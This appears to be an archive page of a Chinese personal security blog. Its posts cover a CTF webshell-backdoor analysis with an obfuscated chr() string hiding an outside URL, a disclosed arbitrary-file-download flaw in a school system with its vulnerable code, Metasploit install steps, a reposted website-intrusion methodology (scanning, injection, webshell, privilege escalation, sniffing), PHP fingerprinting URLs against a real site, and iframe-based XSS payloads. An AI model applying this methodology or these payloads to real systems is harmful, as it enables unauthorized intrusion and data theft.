之前看了一些二进制安全的书,也想过找比赛题练练手。这次凑巧知道了这个网站,就顺手玩一下。这个网站允许发简单题的解题思路,因为网上应该也有不少的答案了,所以我也发一下。
第一题比较简单,ssh登录后,能够看到fd的源码。从源码入手,重点就是满足if条件后,会打印flag文件的内容。flag文件是没有读权限。
if条件就是对读取fd的内容进行判断,fd为0的为标准输入stdin。所以让第一个参数输入后,fd等于0就可以了。
Read more...
Archive for 安全
解决问题的方法不止一种
今天群里发了西南石油大学安全比赛的地址。说一起刷分,正好中午时间,就做了几个简单的,只用了python+firebug,发现很多题都可以解。其中有一个题:shell分析,是个asp的webshell,让你找出shell里发送密码的后门。
这里记录我的思路:
开始看到这个题,直接找存储密码的变量,搜索。找到提交的地方和验证密码的地方,发现都没问题。(asp看不大懂)
然后搜索官网的url,我猜题中的后门肯定是官网的url,因为后门地址会显示解题密码。搜索“swpuwllm”无果,我想应该加密了,然后这个题就放下了。
下午,群里有人提出这个题,就又心血来潮,准备搞一下(还在上班)。。当时的第一反应还是加密了,但是为什么提交的地方和验证的地方没有呢?
下面我又在群里说,想到有asp环境的搭建个环境,看一下就好了,不是在浏览器端发送的密码,就是服务器端发送的密码,都能截到。
但是我当时上头了,非要找出来。就又把那两处的代码看了一遍,发现提交的地方form标签没有闭合,想到藏在其他地方了,往下看,发现下面就是登录后的功能了。(可能这里理解错误,asp不怎么懂)
突然想到,存储密码的是个变量,他随时可以发送啊,为什么非要这两个地方呢。于是想,会不会就像from标签没闭合,隐藏在哪个提交表单里,一起提交发送了呢。
于是搜索</form>,挨个排除。找到可以字串Function:Asuna=chr(62)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(47)&chr(60)&chr(62)&chr(115)&chr(106)&chr(46)&chr(117)&chr(112)&chr(119)&chr(115)&chr(50)&chr(49)&chr(48)&chr(50)&chr(47)&chr(110)&chr(99)&chr(46)&chr(105)&chr(101)&chr(102)&chr(97)&chr(121)&chr(97)&chr(109)&chr(46)&chr(119)&chr(119)&chr(119)&chr(47)&chr(47)&chr(58)&chr(112)&chr(116)&chr(116)&chr(104)&chr(61)&chr(99)&chr(114)&chr(115)&chr(32)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(60):看不到什么意思,就先翻一下(到现在也不知道他是怎么做的,懒得看)这是在上传的地方的代码,想研究肯定需要搜索Asuna。
下面,用python,split,eval,显示出字符串。顺序打乱了,不过能看出url的格式。还能看出是用的js。
发到群里边,已经有搭建asp环境找到的。然后。。
解决问题有很多思路撒,由于环境,技术等各种因素可能对你不合适,转变思路总可以的撒~
Read more...
学校教务网的一个小漏洞
由于外网不能访问学校的外网,链接就没有修改。做一个小记录:
漏洞链接:http://jw.xxx.edu.cn/DownHandler.ashx?id=646&downloadurl=~/UploadFiles/DOC/20126/20126158745430.DOC
很明显是个任意文件下载漏洞,应该是我们学校学生写的代码。危害不用多说,Web.Config成功下载,数据库文件没有下载成功。
已经通知管理员,好久了也没给回复,也没有修复。
DownHandler.ashx文件代码:
Read more...
string id = context.Request.QueryString["id"] as string;
string downloadurl = context.Request.QueryString["downloadurl"] as string;
if (String.IsNullOrEmpty(downloadurl) || !File.Exists(context.Server.MapPath(downloadurl)))
{
context.Session["errorInfo"] = "要下载的文件不存在!";
context.Response.Redirect("~/Error.aspx",true);
return;
}
string clientname = Path.GetFileName(context.Server.MapPath(downloadurl)); //要下载的文件的文件名
context.Response.Clear();
context.Response.AddHeader("Content-Disposition", "attachment;FileName=" + clientname);
context.Response.ContentType = "application/octet-stream";
context.Response.TransmitFile(context.Server.MapPath(downloadurl));
context.Response.Flush();
context.Response.End();
直接判断文件是否存在,然后就下载了。
nmap和Metasploit的安装笔记
我是在Ubuntu 10.04.3 LTS下安装的,简单介绍一下。
nmap安装命令:apt-get install nmap
Metasploit安装命令:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod +x metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run
一路回车就ok了。
Read more...
入侵大型网站的完整思路
1.acunetix web vulnerability Scanner 4 简称AC4
2.另外以下一种方式走的通,就不用往下走了
3.个人爱好用Portready,是因为他快速准确,当然你也可以用别的.
4.AC4扫描很耗时间,扫一个网站大约需要3-5个小时,扫整个网段大约需要8个小时左右
方法:
1.X-SCAN扫描目标服务器(一般是没有漏洞,收集信息用吧),看看IIS写权限有漏洞吗,用53溢出或者其他0day和溢出工具试试==& gt;手工查看主站漏洞,先用google+阿d批量扫注入,再手工测试漏洞(例如注入,上传,爆库等等),同时用AC4扫(它在注入方面很细致)==获得 WEBSHELL==提权获得3389 (也许有时候把第3条放在第一条前,更合理一些,直接嗅探方便些)。
2.用http://www.seologs.comip-domains.html将主站列同服务器反解析域名,旁注,==>获得WEBSHELL==>提权获得3389
=======渗透过程(选择比较近的网段,同一个网关才好嗅探啊)==========
3.用IIS写权限测试80,8080端口整个网段,用Portready扫描53主机溢出(或者其他漏洞溢出)==>如果有写权限主机,那 么提权,获得系统权限,如果可以溢出,获得系统权限==>tracert目标主机,是否同一个网关==>得到3389,用CAIN嗅探目标主 机 80,21,3389等==>获得目标WEBSHELL==>提权获得目标主机3389
4.用Portready扫描同网段3389,80,8080,8000满足3389+80,8000,8080条件的服务器,反解析域名,手工测 试漏洞,同时用AC4扫描网站列表==>获得webshell,提权得到系统权限==>tracert目标主机,是否同一个网关==> 得到 3389,用CAIN嗅探目标主机80,21,3389等==>获得WEBSHELL==>提权获得3389。
5.用Portready扫描同网段80,8000,8080(主机,(除去上一条扫到的3389主机列表),反解析IP,生成列表,手工测试每个 网站, 同时用AC4扫描网站列表(如果网站有漏洞,获得WEBSHELL==>提权获得3389==>tracert目标主机,是否同一个网关== >cain嗅探目标主机==>获得目标主机WEBSHELL==>提权获得目标主机3389),同时用x-scan扫描同网段所有主机 (如果有漏洞,提权得到3389==>tracert目标主机,是否同一个网关==>cain嗅探目标主机==>获得目标主机 WEBSHELL==>提权获得目标主机3389)
6.如果以上均没有漏洞,那就选择网段远一点,或者整个网段,返回第3条。
本文摘自网络由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.转载本文请著名原文地址及原作者版权信息。
Read more...
利用“PHP彩蛋”进行敏感信息获取
关于“PHP彩蛋”的说法也许很多老PHPer已经都知道或听说了,好像是早在PHP4版本的时候就有彩蛋了,挺好玩儿的,可能近年来逐渐被人们遗忘了,其实彩蛋功能在PHP脚本引擎默认情况下是开启。
http://www.discuz.net/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
http://www.discuz.net/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
http://www.discuz.net/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
http://www.discuz.net/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
如上4个链接加红色的部分是PHP源码/ext/standard/info.h中定义的GUID值,如下图所示
点击查看原图
关于PHP彩蛋这个玩法已经被国外的某些Web漏洞扫描器(例如:HP WebInspect)所使用了,用其来探测被扫描的网站使用的是何种Web开发语言。其实在渗透测试过程中经常遇见某些网站难以辨别出使用了何种Web开发语言,因为有些网站采用动态脚本生成纯静态HTML页或者是采用URL重写实现伪静态页面,如果网站使用的是PHP开发的话,可以尝试使用彩蛋的探测法,在很多情况下可以一针见血的鉴定出来,因为默认情况下彩蛋的功能在php.ini中是开启的,当然如果不想让别人通过彩蛋的方式来获取网站的敏感信息的话,那就在php.ini中将expose_php = Off即可!
看完上面这些可能有些人会说既然php.ini中的expose_php = On,那么直接抓包看看http头信息不就OK了,可是某些大站点Web服务器的前面都是有反向代理服务器的,所以还不能完全依赖于捕获http头中的信息。
Read more...
亿邮 跨站漏洞
说不定能用上
以下是几种典型的HTML跳转方法:
之一:
<META HTTP-EQUIV="Refresh" CONTENT="0;URL= ****">
之二:
<iframe src="****" width="0" height="0" frameborder="0">
之三:
<body></body>
之四:
<frameset cols="100%,*">
之五:
<frame src="****" scrolling="auto"></frameset>
<img src=javascript:document.write('<Iframe%20src=输入你要跨的地址%20width=500%20height=550%3E</iframe%3E')>
Read more...